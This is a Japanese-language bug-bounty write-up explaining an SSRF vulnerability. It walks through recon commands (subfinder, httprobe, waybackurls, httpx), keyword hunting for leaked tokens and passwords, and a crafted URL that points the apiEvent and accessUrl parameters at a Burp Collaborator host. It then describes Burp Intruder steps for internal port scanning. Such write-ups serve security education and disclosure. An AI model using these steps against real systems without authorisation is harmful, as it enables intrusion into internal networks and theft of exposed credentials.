ソース:
脆弱性:SSRF
訳:
今日は、私が最近発見した内部ポート スキャンに対するサーバーサイド リクエスト フォージェリ (SSRF) について説明し。
SSRFとは何ですか?
サーバー側リクエスト フォージェリ (SSRF とも呼ばれる) は Web セキュリティの脆弱性であり、攻撃者がサーバー側アプリケーションに、攻撃者が選択した任意のドメインへの HTTP リクエストを実行させることを可能にして。
典型的な SSRF の例では、攻撃者は、サーバーがそれ自体、組織のインフラストラクチャ内の他の Web ベース サービス、または外部のサードパーティ システムに接続を確立する可能性があり。
SSRF 攻撃は多くの場合、信頼関係を悪用して脆弱なアプリケーションから攻撃をエスカレートし、不正なアクションを実行し。
これらの信頼関係は、サーバー自体に関連して、または同じ組織内の他のバックエンド システムに関連して存在する場合があり。
WaybackURLs (ウェイバック マシン) とは何ですか?
セキュリティ テストにおける Web クローリングは、自動化されたスクリプトまたはクローリング プログラムを使用して Web ページ上のデータにインデックスを付けるプロセスであるため、重要な側面です。 これらのスクリプトまたはクローリング プログラムは、Web クローラー、スパイダー、スパイダー ボット、およびクローラーと呼ばれます。
Google Dorks からバグ報奨金プログラムを選択し。
責任ある開示ポリシーにより、プログラムを開示することはできません。
このドメインを target.com と呼びます。
Subfinder を使用してサブドメインを列挙し、出力をdomains.txtに保存し。
その後 httprobe を実行してライブドメインを取得、出力をlive_domains.txt に保存して。
subfinder -d target.com > domains.txt
cat domains.txt | httprobe > live_domains.txt
次のコマンドを実行して、waybackurls を通じて Web クローリングURLを収集。
cat live_domains.txt | waybackurls > urls.txt
urls.txt 内のすべての URL を収集したら、 httpx を実行してステータス、タイトル、技術などを特定し、出力を status.txt に保存し。
cat urls.txt | httpx — status-code-title > status.txt
これで、ライブでアクセス可能なすべての URL が並べ替えられ、機能しない URL がすべて削除され。
status.txt を開いて、機密情報、パラメータ、ユーザー名、パスワード、トークン、機密ファイルなどを探し始め。
Keywords I used : password, username, mail.com, token, access_token, url=, redirect_url=, api, id=, accessUrl=, payment, etc.
30 分間クロールして並べ替えた後、次のような興味深い URL を 1 つ取得し。
https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&displayName=mack&accessToken=sda3-q23aed-aerae&peerId=123123-321as-waaew-ads&apiEvent=https://example.com/ api/meet&accessUrl=https://example.com/api/accessCheck/&itisparticipant=true&nameScreenDisabled=true&startWithFS=true&controlsDisabled=true
私の注意はパラメータ「 apiEvent 」と「 accessUrl 」に引き寄せられました。
これで、パラメータのURLをBurp Collabortorサーバーに置き換えました。
burpコラボサーバーに置き換えた後のURLは以下のようになります。
https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&displayName=Tom&accessToken=sda3-q23aed-aerae&peerId=123123-321as-waaew-ads&apiEvent=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/meet&accessUrl=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/accessCheck/&itisparticipant=true&nameScreenDisabled=true&startWithFS=true&controlsDisabled=true
ブラウザで URL を開くと、コラボレーター サーバー上の DNS と HTTP が内部 IP で取得されました。
今、私は Whois を実行して、この IP アドレスが組織のものなのかサードパーティのものなのかを確認し。
取得した IP が組織の内部 IP であるという確認を得て。
影響を大きくするために、私はバープスイートを起動し、
1. バープスイートで同じリクエストをキャプチャしました
2. それを侵入者に送信しました
3. ピッチフォーク攻撃タイプを選択
4. 2 つの URL の末尾に位置ペイロードを追加
5. ループ リクエストを 100 に設定
6. 攻撃を開始
7. http、dns、smtp リクエストを取得
step1
step2, 3, 4
step4, 5
step6
step7
これで、Burp コラボ サーバーで DNS リクエストと HTTP リクエスト、および SMTP リクエストを受信し、SSRF 脆弱性を使用して内部ポート スキャンを実行できたことが確認されて。
ほなほな。